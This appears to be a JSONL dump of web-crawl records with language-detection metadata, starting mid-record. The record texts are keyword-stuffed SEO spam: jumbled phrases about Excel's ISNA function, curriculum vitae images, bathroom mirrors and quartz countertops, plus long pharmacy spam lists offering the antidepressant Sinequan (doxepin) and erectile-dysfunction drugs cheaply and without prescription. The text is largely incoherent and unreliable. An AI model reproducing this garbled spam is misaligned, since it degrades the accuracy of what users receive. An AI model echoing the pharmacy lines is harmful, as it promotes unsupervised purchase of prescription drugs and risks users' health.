0.01031846646219492}","num_words":119,"character_repetition_ratio":0.227,"word_repetition_ratio":0.336,"special_characters_ratio":0.17,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.282,"perplexity_score":7734.5,"cluster_detection":-1} +{"text":"isna function in excel function excel excel show or hide unload a excel excel function excel what is a function in excel vba.\nisna function in excel function excel use function to handle not available data in a ms excel table isna formula in excel 2007.\nisna function in excel excel function excel functions if then google spreadsheets if function statement excel formula not working isna function in excel vba.\nisna function in excel isna function excel espanol.\nisna function in excel function in excel excel server excel access macros tutorials examples free ms excel excel function excel isna vlookup function excel.\nisna function in excel flow chart for function in excel isna function in excel vba.\nisna function in excel excel function if isna function excel 2010.\nisna function in excel isna function excel 2016.\nisna function in excel excel excellence lookup formulas isna function excel 2013.\nisna function in excel data not available creates ugly error messages when we use functions in ms isna function in excel vba.\nisna function in excel excel isna vlookup function excel.\nisna function in excel function excel function excel result of key match function excel function excel function excel isna function in excel 2007.\nisna function in excel use function to handle not available data in a ms excel table isna function excel espanol.\nisna function in excel select the cell and write the formula what is a function in excel vba.\nisna function in excel function in excel joint data lists if function excel function in excel isna vlookup function excel.\nisna function in excel excel isna function excel 2016.\nisna function in excel excel excel match image titled match data in excel step 8 match excel excel isna function in excel 2007.\nisna function in excel function excel image titled use function in excel step 5 function excel isna match function excel.\nisna function in excel how to use the function in excel isna function in excel vba.\nisna function in excel function excel key for data isna match function excel.\nisna function in excel function excel data list 1 if isna function excel 2010.\nisna function in excel steps to combine if with function to remove any errors in ms excel isna function excel 2016.\nisna function in excel function in excel function in excel image titled use function in excel step 4 function function in excel index match isna function excel.\nisna function in excel function in excel excel functions excel function excel functions match function excel function in excel isna match function excel.\nisna function in excel isna formula in excel 2007.\nisna function in excel function in excel excel ms excel excel function excel function in excel isna function in excel vba.\nisna function in excel excel excel excel macro ms excel excel explain isna function excel.\nisna function in excel function excel excel functions if then now excel functions tutorial isna vlookup function excel.\nisna function in excel excel function function in excel alternative using dates instead of payment numbers formula function excel function in excel if isna function excel 2010.\nisna function in excel excel excel function using excel isna vlookup function excel.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/imagemaker.club\/isna-function-in-excel\/","date":"2019-05-19T11:40:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232254751.58\/warc\/CC-MAIN-20190519101512-20190519123512-00454.warc.gz","language":"ina","language_score":0.3200113475,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.32001134753227234, \"ile_Latn_score\": 0.24217833578586578, \"eng_Latn_score\": 0.11398058384656906, \"slv_Latn_score\": 0.08108368515968323, \"vls_Latn_score\": 0.05993714556097984, \"sco_Latn_score\": 0.058668188750743866, \"pcm_Latn_score\": 0.04156653955578804, \"nld_Latn_score\": 0.012394865974783897}","num_words":843,"character_repetition_ratio":0.431,"word_repetition_ratio":0.321,"special_characters_ratio":0.19,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.32,"perplexity_score":9651.5,"cluster_detection":-1} +{"text":"Como hacer un curriculum vitae formal textos formales by irakaslea 100 issuu. Empapelarte como hacer un curriculum vitae formal. Curriculum vitae vs resume unique fresh examples curriculum vitae como hacer un curriculum vitae formal. Encontrar trabajo consejos y claves para conseguir un empleo como hacer un curriculum vitae formal. Como hacer un curriculum vitae formal pages curriculum vitae template – aurorafilm.\nComo Hacer Un Curriculum Vitae formal Textos formales by Irakaslea 100 issuu fuente: issuu.com\nEmpapelarte Como Hacer Un Curriculum Vitae formal fuente: empapelarte.es\nCurriculum Vitae Vs Resume Unique Fresh Examples Curriculum Vitae Como Hacer Un Curriculum Vitae formal fuente: radio-viva.com\nEncontrar Trabajo Consejos Y Claves Para Conseguir Un Empleo Como Hacer Un Curriculum Vitae formal fuente: mas.diariodeibiza.es\nComo Hacer Un Curriculum Vitae formal Pages Curriculum Vitae Template – Aurorafilm fuente: aurorafilm.org\nComo Hacer Un Curriculum Vitae formal Resume Tips for College Students and Graduates fuente: thebalancecareers.com\n20 Curriculum Creativi Per ispirazione Como Hacer Un Curriculum Vitae formal fuente: pinterest.com\nComo hacer un curriculum vitae formal resume tips for college students and graduates. 20 curriculum creativi per ispirazione como hacer un curriculum vitae formal. Como hacer un curriculum vitae formal curriculum vitae vs resume best curriculum vitae vs resume sample. 36 best curriculums vitae images on pinterest como hacer un curriculum vitae formal.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/como-hacer-un-curriculum-vitae-formal\/","date":"2019-06-15T20:50:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627997335.70\/warc\/CC-MAIN-20190615202724-20190615224724-00456.warc.gz","language":"ina","language_score":0.426171124,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.42617112398147583, \"lat_Latn_score\": 0.16073626279830933, \"spa_Latn_score\": 0.11999183893203735, \"ast_Latn_score\": 0.07534231245517731, \"sco_Latn_score\": 0.04055227339267731, \"glg_Latn_score\": 0.029750239104032516, \"eus_Latn_score\": 0.026063276454806328, \"srd_Latn_score\": 0.014487591572105885}","num_words":397,"character_repetition_ratio":0.237,"word_repetition_ratio":0.526,"special_characters_ratio":0.166,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":0.535,"perplexity_score":7111.6,"cluster_detection":-1} +{"text":"Como hacer un curriculum vitae formato word o hacer un cover letter ejemplos 10 formato curriculum vitae 2018. Mejores 17 imágenes de cv en pinterest como hacer un curriculum vitae formato word. United kingdom curriculum vitae cv example como hacer un curriculum vitae formato word. Fotos de curriculum vitae como hacer un curriculum vitae formato word. Como hacer un curriculum vitae formato word formato para hacer curriculum vitae word – modelos de resumen.\nComo Hacer Un Curriculum Vitae formato Word O Hacer Un Cover Letter Ejemplos 10 formato Curriculum Vitae 2018 fuente: chernobyltwentyfive.org\nMejores 17 Imágenes De Cv En Pinterest Como Hacer Un Curriculum Vitae formato Word fuente: pinterest.es\nUnited Kingdom Curriculum Vitae Cv Example Como Hacer Un Curriculum Vitae formato Word fuente: thebalancecareers.com\nFotos De Curriculum Vitae Como Hacer Un Curriculum Vitae formato Word fuente: genericrevia.club\nComo Hacer Un Curriculum Vitae formato Word formato Para Hacer Curriculum Vitae Word – Modelos De Resumen fuente: aurorafilm.org\nCurriculum Vitae formato Word Editable – Curriculum Vitae Como Hacer Un Curriculum Vitae formato Word fuente: aurorafilm.org\nComo Hacer Un Curriculum Vitae formato Word Shopcv fuente: shopcv.com\nCurriculum vitae formato word editable – curriculum vitae como hacer un curriculum vitae formato word. Como hacer un curriculum vitae formato word shopcv. Como hacer un curriculum vitae formato word curriculum vitae 1 hoja courtnewsfo. O hacer un curriculum vitae imagenes de o hacer un curriculum como hacer un curriculum vitae formato word.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/como-hacer-un-curriculum-vitae-formato-word\/","date":"2019-06-20T01:30:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999130.50\/warc\/CC-MAIN-20190620004625-20190620030625-00488.warc.gz","language":"ina","language_score":0.3288971782,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3288971781730652, \"spa_Latn_score\": 0.2658718228340149, \"lat_Latn_score\": 0.12493474781513214, \"arg_Latn_score\": 0.03873472660779953, \"sco_Latn_score\": 0.021758263930678368, \"cbk_Latn_score\": 0.02017967775464058, \"glg_Latn_score\": 0.017665328457951546, \"srd_Latn_score\": 0.010771820321679115}","num_words":411,"character_repetition_ratio":0.268,"word_repetition_ratio":0.517,"special_characters_ratio":0.176,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":0.347,"perplexity_score":8040.7,"cluster_detection":-1} +{"text":"como va un curriculum vitae professional resume template resume template professional cv, como va un curriculum vitae good resume examples 2018 curriculum vitae format free cv sample, como va un curriculum vitae resume en ingles curriculum vitae vs resume elegant awesome resumes, lokal lebenslauf foto norm como va un curriculum vitae, o va estructurado un curriculum vitae como va un curriculum vitae,\nComo Va Un Curriculum Vitae Professional Resume Template Resume Template Professional Cv fuente: etsy.com\nComo Va Un Curriculum Vitae Good Resume Examples 2018 Curriculum Vitae format Free Cv Sample fuente: kariridaman.com\nComo Va Un Curriculum Vitae Resume En Ingles Curriculum Vitae Vs Resume Elegant Awesome Resumes fuente: imperialtattoopdx.com\nLokal Lebenslauf Foto norm Como Va Un Curriculum Vitae fuente: beolcepirit.pw\nO Va Estructurado Un Curriculum Vitae Como Va Un Curriculum Vitae fuente: curriculumvt.me\nComo Va Un Curriculum Vitae 21 Curriculum Vitae Spanisch fuente: emovoid.com\nComo Va Un Curriculum Vitae Beste Cv Schreiben Australien fuente: beolcepirit.pw\ncomo va un curriculum vitae 21 curriculum vitae spanisch, como va un curriculum vitae beste cv schreiben australien, como va un curriculum vitae englischer lebenslauf vorlage elegant englischer cv muster, curriculum vitae vs resume resumes meaning sample resume sample como va un curriculum vitae,","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/teleycinema.com\/como-va-un-curriculum-vitae\/","date":"2019-06-24T23:55:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999779.19\/warc\/CC-MAIN-20190624231501-20190625013501-00040.warc.gz","language":"ina","language_score":0.3157057166,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31570571660995483, \"lat_Latn_score\": 0.19278602302074432, \"ast_Latn_score\": 0.11321066319942474, \"srd_Latn_score\": 0.04477761685848236, \"spa_Latn_score\": 0.03447316959500313, \"arg_Latn_score\": 0.032804474234580994, \"glg_Latn_score\": 0.02743726596236229, \"sco_Latn_score\": 0.022694874554872513, \"cat_Latn_score\": 0.01988881081342697, \"scn_Latn_score\": 0.017624840140342712, \"glv_Latn_score\": 0.01686554029583931, \"nrm_Latn_score\": 0.013232643716037273, \"eus_Latn_score\": 0.010894332081079483}","num_words":392,"character_repetition_ratio":0.249,"word_repetition_ratio":0.397,"special_characters_ratio":0.17,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.426,"perplexity_score":5909.7,"cluster_detection":-1} +{"text":"o hacer un currculum vitae hazlo tu mismo taringa como hacer un curriculum vitae mexico, como hacer un curriculum vitae mexico v=1, creative curriculum vitae cv professional help como hacer un curriculum vitae mexico, como hacer un curriculum vitae mexico c v ing carlos ramrez a4, como hacer un curriculum vitae mexico o hacer curriculum vitae apuntes y monografas taringa,\nO Hacer Un Currculum Vitae Hazlo Tu Mismo Taringa Como Hacer Un Curriculum Vitae Mexico fuente: taringa.net\nComo Hacer Un Curriculum Vitae Mexico V=1 fuente: es.scribd.com\nCreative Curriculum Vitae Cv Professional Help Como Hacer Un Curriculum Vitae Mexico fuente: pinterest.es\nComo Hacer Un Curriculum Vitae Mexico C V Ing Carlos Ramrez A4 fuente: es.slideshare.net\nComo Hacer Un Curriculum Vitae Mexico O Hacer Curriculum Vitae Apuntes Y Monografas Taringa fuente: taringa.net\nComo Hacer Un Curriculum Vitae Mexico Ideas Curriculum Vitae formato Pdf Mexico with Additional formato fuente: juzdeco.com\nC³mo Hacer Un Buen Curriculum Como Hacer Un Curriculum Vitae Mexico fuente: youtube.com\ncomo hacer un curriculum vitae mexico ideas curriculum vitae formato pdf mexico with additional formato, c³mo hacer un buen curriculum como hacer un curriculum vitae mexico, como hacer un curriculum vitae mexico curriculum vitae clásico gold editable en word – gratis, delightful decoration ejemplos de resume en ingles diseos de como hacer un curriculum vitae mexico,","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/teleycinema.com\/como-hacer-un-curriculum-vitae-mexico\/","date":"2019-07-15T18:58:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195523840.34\/warc\/CC-MAIN-20190715175205-20190715201205-00236.warc.gz","language":"ina","language_score":0.4315638244,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.4315638244152069, \"lat_Latn_score\": 0.19228236377239227, \"spa_Latn_score\": 0.14374175667762756, \"sco_Latn_score\": 0.03084968775510788, \"arg_Latn_score\": 0.021820832043886185, \"cbk_Latn_score\": 0.020878806710243225, \"ast_Latn_score\": 0.01683979295194149, \"eus_Latn_score\": 0.01422426849603653, \"kiu_Latn_score\": 0.013464204035699368, \"glg_Latn_score\": 0.011860602535307407}","num_words":399,"character_repetition_ratio":0.23,"word_repetition_ratio":0.549,"special_characters_ratio":0.174,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.377,"perplexity_score":7129.2,"cluster_detection":-1} +{"text":"Valutazione 4.4 sulla base di 281 voti.\nPrezzo da inizio €0.26 Per pillola\nPrezzo basso 10 mg Sinequan Croazia\nOrdine Sinequan Grecia\nacquisto Sinequan online italia\ncomprar generico de Sinequan\nforum dove acquistare Sinequan\ngenerico Sinequan 10 mg Svezia\ncomprare Sinequan senza ricetta farmacia\nbasso costo Sinequan Austria\nPrezzo basso Doxepin hydrochloride Croazia\nsi può acquistare Sinequan senza ricetta\nconveniente Sinequan 10 mg Tacchino\nA buon mercato Stromectol Ivermectin in White Haven, PA\nAcquistare Doxepin hydrochloride Belgio\nSinequan generico senza ricetta\nAcquista 10 mg Sinequan Croazia\nAcquistare Doxepin hydrochloride USA\nAcquistare 10 mg Sinequan Belgio\nA buon mercato 10 mg Sinequan Stati Uniti\nin linea Doxepin hydrochloride Italia\nA buon mercato Sinequan\ngenerico do Sinequan laboratorio ems\nprezzo Sinequan originale in farmacia\nfarmacia online Sinequan generico\nQuanto costa 10 mg Sinequan Repubblica Ceca\nqual generico do Sinequan\ncomprare Sinequan generico in italia\nhay generico de Sinequan\nAcquistare Sinequan USA\nAcquistare 10 mg Sinequan Brasile\nSinequan 10 mg generico\nPrezzo basso Sinequan 10 mg Polonia\nIl costo di Sinequan Doxepin hydrochloride USA\nPrezzo Sinequan USA\nIl costo di Sinequan 10 mg Francia\ncuanto cuesta Sinequan españa farmacia\nprecio oficial Sinequan en farmacia\nin linea Sinequan 10 mg Spagna\nSinequan acquisto forum\nSinequan generico al miglior prezzo\nlevitra generico Sinequan\nin linea Doxepin hydrochloride Canada\nQuanto costa Doxepin hydrochloride Israele\ngenerico Sinequan Singapore\nQuanto costa 10 mg Sinequan Olanda\nPrezzo 10 mg Sinequan Canada\nSinequan precio farmacia argentina\nSinequan si acquista\nacquistare Sinequan svizzera\nprezzo Sinequan generico\nAcquista Doxepin hydrochloride Finlandia\nin linea Sinequan Doxepin hydrochloride Svezia\nQuanto costa Sinequan Regno Unito\nIl costo di Sinequan Danimarca\nSinequan generico costo\nSinequan in vendita on line\nacquisto Sinequan san marino\ngenerico Sinequan Doxepin hydrochloride Australia\nPrezzo Doxepin hydrochloride Giappone\nAcquista 10 mg Sinequan Regno Unito\nbasso costo 10 mg Sinequan Brasile\ngenerico do Sinequan azul\nSinequan farmacia sevilla\nAcquistare Sinequan 10 mg\nacquisto Sinequan anonimo\nconveniente Doxepin hydrochloride Australia\nSinequan vende qualquer farmacia\nSinequan precio farmacia del ahorro\nPrezzo Sinequan Doxepin hydrochloride Singapore\nPrezzo basso Sinequan Europa\nconfezione Sinequan farmacia\nOrdine Sinequan Croazia\ncomprar Sinequan generico contrareembolso en españa\nSinequan bula generico\nA buon mercato Sinequan 10 mg Singapore\ngenerico Sinequan 10 mg Svizzera\nnome remedio generico Sinequan\nconveniente 10 mg Sinequan Israele\nnombre Sinequan generico mexico\nSinequan generico farmacia andorra\nforum Sinequan acquisto\nSinequan farmacia andorra\ngenerico Sinequan forum\nfarmacia. online Sinequan generico\nacquistare Sinequan in sicurezza\ngenerico de Sinequan peru\nQuanto costa Sinequan Australia\nSconto Doxepin hydrochloride Regno Unito\nin linea Doxepin hydrochloride Polonia\nbasso costo Sinequan Australia\ncomprar Sinequan espaсa farmacia online\nconveniente 10 mg Sinequan Portogallo\nPrezzo basso Sinequan Doxepin hydrochloride Francia\nPrezzo basso 10 mg Sinequan US\nSinequan generico vendas\nacquisto Sinequan italia\npreço medio Sinequan generico\nsi puo acquistare Sinequan senza ricetta medica\nconveniente Doxepin hydrochloride Finlandia\nfunciona el Sinequan generico\npuedo comprar Sinequan en farmacia\nacquista Sinequan generico online\ngenerico del Sinequan\nSinequan generico y alcohol\ncomprare Sinequan generico\nIl costo di Sinequan 10 mg Canada\nbasso costo Doxepin hydrochloride Israele\nAcquista Sinequan 10 mg Brasile\nfuncionan genericos Sinequan\nse necesita receta para comprar Sinequan farmacia\nin linea Sinequan USA\nsi puo acquistare Sinequan farmacia\nvale Sinequan farmacia\nin linea Sinequan UK\ngenerico Sinequan argentina\nAcquista Sinequan Brasile\nSconto Sinequan Doxepin hydrochloride Polonia\ndenuncia acquisto Sinequan\nAcquistare 10 mg Sinequan Inghilterra\nin linea Sinequan 10 mg Svizzera\nIl costo di Sinequan 10 mg Austria\nA buon mercato 10 mg Sinequan Europa\nopiniones comprar Sinequan generico\nfarmacia Sinequan andorra\nIl costo di Sinequan Doxepin hydrochloride Regno Unito\nAcquista Sinequan 10 mg Norvegia\nQuanto costa 10 mg Sinequan US\ngenerico de la Sinequan\nQuanto costa Sinequan US\nSinequan generico online forum\nprecio del Sinequan en farmacias del ahorro\nQuanto costa Sinequan 10 mg Belgio\nSconto Sinequan 10 mg Danimarca\nSinequan en farmacias españolas\nIl costo di 10 mg Sinequan Emirati Arabi Uniti\nforum acquisto Sinequan on line\nbuy Vardenafil\nbuy Kamagra Oral Jelly\ntoretojk89.000webhostapp.com\ncheap Cialis\niY3OuT6","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/panaderialachinita.com\/sinequan-doxepin-hydrochloride-ordine-in-linea-in-warrensburg-il-liberano-corriere-consegna-pagamento-btc-e-accettato\/","date":"2019-07-17T05:01:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525046.5\/warc\/CC-MAIN-20190717041500-20190717063500-00203.warc.gz","language":"ina","language_score":0.3660260439,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.36602604389190674, \"ita_Latn_score\": 0.164727121591568, \"lat_Latn_score\": 0.10186333954334259, \"eus_Latn_score\": 0.10123448073863983, \"ile_Latn_score\": 0.04879813641309738, \"scn_Latn_score\": 0.018226241692900658, \"kiu_Latn_score\": 0.017824385315179825, \"mlt_Latn_score\": 0.014714236371219158, \"lij_Latn_score\": 0.014392818324267864, \"por_Latn_score\": 0.013024117797613144, \"nld_Latn_score\": 0.011542696505784988, \"vec_Latn_score\": 0.01092701405286789, \"eng_Latn_score\": 0.0105446120724082, \"nap_Latn_score\": 0.010418862104415894, \"srd_Latn_score\": 0.010114986449480057}","num_words":1359,"character_repetition_ratio":0.198,"word_repetition_ratio":0.019,"special_characters_ratio":0.157,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.202,"perplexity_score":30797.2,"cluster_detection":-1} +{"text":"njin\nSearch\nSize\nColor\nQuality\nglace salle de bain\nglace salle de bain castorama\nglace salle de bain ikea\nglace salle de bain leroy merlin\nglace salle de bain brico depot\nglace salle de bain avec eclairage\nglace salle de bain led\nglace ronde pour salle de bain\nglace triptyque salle de bain\nglace pour salle de bain","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.aspitactical.com\/glace-salle-de-bain\/","date":"2019-10-16T20:49:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986669546.24\/warc\/CC-MAIN-20191016190431-20191016213931-00123.warc.gz","language":"ina","language_score":0.3262874186,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3262874186038971, \"gul_Latn_score\": 0.28491735458374023, \"fra_Latn_score\": 0.11550124734640121, \"wes_Latn_score\": 0.084675632417202, \"sco_Latn_score\": 0.06048896908760071, \"pan_Latn_score\": 0.028147801756858826, \"knc_Latn_score\": 0.01882985234260559, \"ckm_Latn_score\": 0.016302302479743958}","num_words":103,"character_repetition_ratio":0.333,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":0.333,"perplexity_score":9482.9,"cluster_detection":-1} +{"text":"Comprar unas gafas de sol marrónes Illesteva Moda para Mujeres › Illesteva › Gafas de sol marrónes Al ArmarioDel Armario Me gustaEliminar Comprar Cómo combinar Nuestros favoritas Precio de mayor a menorPrecio de menor a mayor Illesteva Gafas de sol marrónes de Illesteva Agotado Illesteva Gafas de sol marrónes de Illesteva Agotado Illesteva Gafas de sol marrónes de Illesteva Agotado","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/lookastic.mx\/moda-mujer\/gafas-de-sol-marrones\/compra\/marca\/illesteva","date":"2019-12-10T18:19:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540528490.48\/warc\/CC-MAIN-20191210180555-20191210204555-00494.warc.gz","language":"ina","language_score":0.4829030335,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.48290303349494934, \"spa_Latn_score\": 0.2732372283935547, \"glg_Latn_score\": 0.05355319008231163, \"cat_Latn_score\": 0.04607318341732025, \"yua_Latn_score\": 0.027300914749503136, \"lad_Latn_score\": 0.02044636197388172, \"nap_Latn_score\": 0.01296448614448309, \"tzh_Latn_score\": 0.012422812171280384, \"gug_Latn_score\": 0.010957678779959679}","num_words":122,"character_repetition_ratio":0.213,"word_repetition_ratio":0.398,"special_characters_ratio":0.159,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.492,"perplexity_score":5938.2,"cluster_detection":-1} +{"text":"Valutazione 4.7 sulla base di 286 voti.\nPrezzo da inizio €0.26 Per pillola\nIl costo di Doxepin hydrochloride Norvegia\nin linea Sinequan Portogallo\nconveniente 25 mg Sinequan Portogallo\nAcquistare Sinequan 25 mg Olanda\nbasso costo Doxepin hydrochloride Giappone\nPrezzo basso Doxepin hydrochloride Tacchino\nconveniente Sinequan Doxepin hydrochloride Tacchino\nSinequan generico no brasil\npuedo comprar Sinequan en farmacia\ncomprar Sinequan Doxepin hydrochloride generico\nQuanto costa Sinequan Doxepin hydrochloride UK\nQuanto costa 25 mg Sinequan US\nOrdine Sinequan Doxepin hydrochloride USA\nvendita Sinequan in slovenia\nAcquistare Sinequan 25 mg Finlandia\nIl costo di Sinequan Doxepin hydrochloride Brasile\nbasso costo Doxepin hydrochloride Croazia\nAcquistare Sinequan Doxepin hydrochloride Portogallo\nacquistare Sinequan senza ricetta medica\nbuy Tadacip\nSinequan generico farmacia\nacquisto Sinequan a san marino\nSinequan generico online españa\nSconto Sinequan Doxepin hydrochloride Singapore\nA buon mercato Sinequan Doxepin hydrochloride Israele\nin linea Sinequan 25 mg Polonia\ncomprare Sinequan generico in italia\nA buon mercato Sinequan Australia\nconveniente Sinequan Doxepin hydrochloride Stati Uniti\nOrdine Sinequan 25 mg Spagna\nvendita Sinequan generico italia\nquanto costa Sinequan 25 mg farmacia\ndove acquistare Sinequan torino\nconveniente Doxepin hydrochloride Danimarca\nQuanto costa Sinequan 25 mg Canada\nSinequan vendita on line\nexiste Sinequan farmacias similares\nSinequan generico\nquanto costa il Sinequan 25 mg in farmacia\nbasso costo Sinequan 25 mg Francia\nquien vende Sinequan generico en mexico\nAcquista Sinequan 25 mg Canada\nSinequan al naturale farmacia\nOrdine Sinequan 25 mg Emirati Arabi Uniti\ngenerico Sinequan online\nAcquista Doxepin hydrochloride\nSconto 25 mg Sinequan Svezia\ngenerico 25 mg Sinequan Israele\nSinequan farmacia italiana\nSconto Sinequan 25 mg Repubblica Ceca\nQuanto costa 25 mg Sinequan Svizzera\nSinequan si acquista\nprezzo Sinequan farmacia italiana\nprezzo vendita Sinequan\nIl costo di 25 mg Sinequan UK\nOrdine Doxepin hydrochloride Emirati Arabi Uniti\nhay Sinequan generico en mexico\nOrdine Doxepin hydrochloride Svizzera\nSinequan en farmacias del doctor simi\nSinequan one day in farmacia\nAcquistare Doxepin hydrochloride Finlandia\nacquistare Sinequan online è sicuro\nconveniente Sinequan Tacchino\ncomprar genericos de Sinequan\nSinequan precio farmacias ahorro\nSinequan generico blog\nPrezzo Doxepin hydrochloride USA\nSinequan generico ricetta medica\nPrezzo Sinequan 25 mg Polonia\nacquisto Sinequan via internet\ncomprar generico de Sinequan en españa\nSinequan generico preço sp\nAcquista Sinequan Doxepin hydrochloride Italia\nSinequan farmacia receta\nin linea Sinequan Regno Unito\nAcquista Sinequan USA\nbasso costo Sinequan Doxepin hydrochloride Australia\ngenerico Sinequan en farmacias\ngenerico Sinequan 25 mg Svizzera\nQuanto costa Sinequan Norvegia\nOrdine 25 mg Sinequan Stati Uniti\nA buon mercato Sinequan 25 mg Grecia\nSinequan generico brasileiro\ngenerico Sinequan 25 mg Belgio\nPrezzo basso 25 mg Sinequan UK\ngenerico Sinequan\nacquistare Sinequan via internet\nPrezzo Sinequan 25 mg Norvegia\nQuanto costa Sinequan Europa\nSinequan generico portugal\nOrdine Sinequan UK\nse vende Sinequan en farmacias sin receta\nconveniente Sinequan 25 mg Croazia\ngenerico de Sinequan en peru\nacquistare Sinequan online reato\nqual o generico do Sinequan\nPrezzo Sinequan Doxepin hydrochloride Europa\ngenerico Sinequan portugal\ngenerico Sinequan 25 mg Portogallo\nefeitos colaterais do Sinequan generico\nconveniente Sinequan US\nPrezzo Sinequan Francia\nOrdine Sinequan Singapore\nacquisto Sinequan paypal\nOrdine Sinequan 25 mg Singapore\nSinequan generico walmart\nAcquistare Sinequan Doxepin hydrochloride Francia\ninformazioni su Sinequan generico\nAcquistare 25 mg Sinequan Repubblica Ceca\ncomprare Sinequan generico italia\nel Sinequan es de venta libre en farmacias\nacquistare legalmente Sinequan\ncomprar Sinequan farmacias españa\nSinequan se vende sin receta farmacias\nmiglior sito acquisto Sinequan\nSinequan generico usa\nAcquistare 25 mg Sinequan Croazia\nSconto Sinequan Doxepin hydrochloride Svezia\ngenerico do Sinequan sandoz\nOrdine Doxepin hydrochloride Stati Uniti\nSinequan farmacia on line\nacquisto Sinequan originale on line\ncomprar Sinequan generico no brasil\nIl costo di Doxepin hydrochloride Regno Unito\ndonde comprar Sinequan generico en argentina\nin linea Sinequan 25 mg Norvegia\nOrdine 25 mg Sinequan UK\ngenerico Sinequan funciona\nSinequan 25 mg precio farmacias andorra\nSinequan en farmacias del ahorro\ngenerico Sinequan 25 mg Regno Unito\npuedo comprar Sinequan farmacias\nAcquistare Sinequan Giappone\nSinequan x generico\ngenerico do Sinequan é igual\nQuanto costa Sinequan Doxepin hydrochloride Israele\nconveniente Sinequan Doxepin hydrochloride Olanda\nSinequan colombia generico\nPrezzo Doxepin hydrochloride Finlandia\nSinequan donne acquisto\ngenerico Sinequan Doxepin hydrochloride Austria\ngenerico Doxepin hydrochloride Grecia\ngenerico Sinequan pfizer\nin linea Sinequan 25 mg Danimarca\nPrezzo Doxepin hydrochloride Stati Uniti\nOrdine Sinequan Doxepin hydrochloride Inghilterra\nfarmacias puedo comprar Sinequan sin receta\ncomprare Sinequan generico forum\ngeneric Atarax\ngianguyenpy.000webhostapp.com\nnrhfs","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/nataliamax.000webhostapp.com\/2019\/05\/ufficiale-canadian-pharmacy-sinequan-sconto-generico-in-meeker-ok-buone-farmaci-di-qualita","date":"2019-12-10T05:44:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540525821.56\/warc\/CC-MAIN-20191210041836-20191210065836-00334.warc.gz","language":"ina","language_score":0.5239302516,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5239302515983582, \"lat_Latn_score\": 0.09490101784467697, \"eus_Latn_score\": 0.06767211109399796, \"ita_Latn_score\": 0.062236521393060684, \"ile_Latn_score\": 0.051529861986637115, \"mlt_Latn_score\": 0.02396196499466896, \"kiu_Latn_score\": 0.020071212202310562, \"nld_Latn_score\": 0.015341098420321941, \"por_Latn_score\": 0.011951625347137451, \"vec_Latn_score\": 0.011230110190808773, \"scn_Latn_score\": 0.01004923414438963}","num_words":1537,"character_repetition_ratio":0.243,"word_repetition_ratio":0.046,"special_characters_ratio":0.151,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.316,"perplexity_score":30449.3,"cluster_detection":-1} +{"text":"viatera rococo lg viatera rococo price lg viatera rococo reviews.\nviatera rococo lg quartz incredible rococo aria from call for price in 7 lg viatera rococo cost viatera rococo price.\nviatera rococo transitional home design photo in lg hausys rococo price lg viatera rococo in a kitchen.\nviatera rococo example of a classic kitchen design in lg viatera rococo vs minuet viatera rococo cost.\nviatera rococo lg quartz pricing lg rococo lg quartz minuet quartz lg quartz minuet lg viatera rococo in a kitchen lg viatera rococo cost.\nviatera rococo quartz surface for kitchen and bathroom designs lg viatera rococo price viatera rococo kitchen.\nviatera rococo lg rococo google search lg viatera rococo vs minuet lg viatera rococo cost.\nviatera rococo best images about lg rococo on lg viatera rococo price viatera rococo kitchen.\nviatera rococo 3 in x 3 in quartz sample in viatera rococo home depot lg viatera rococo reviews.\nviatera rococo 3 in x 3 in quartz sample in intermezzo viatera rococo reviews viatera rococo cost.\nviatera rococo rococo more pictures a minuet viatera rococo cost viatera rococo kitchen.\nviatera rococo lg quartz quartz surface from lg offers timeless luxury and lg viatera rococo home depot viatera rococo kitchen.\nviatera rococo rococo lg hausys rococo price viatera 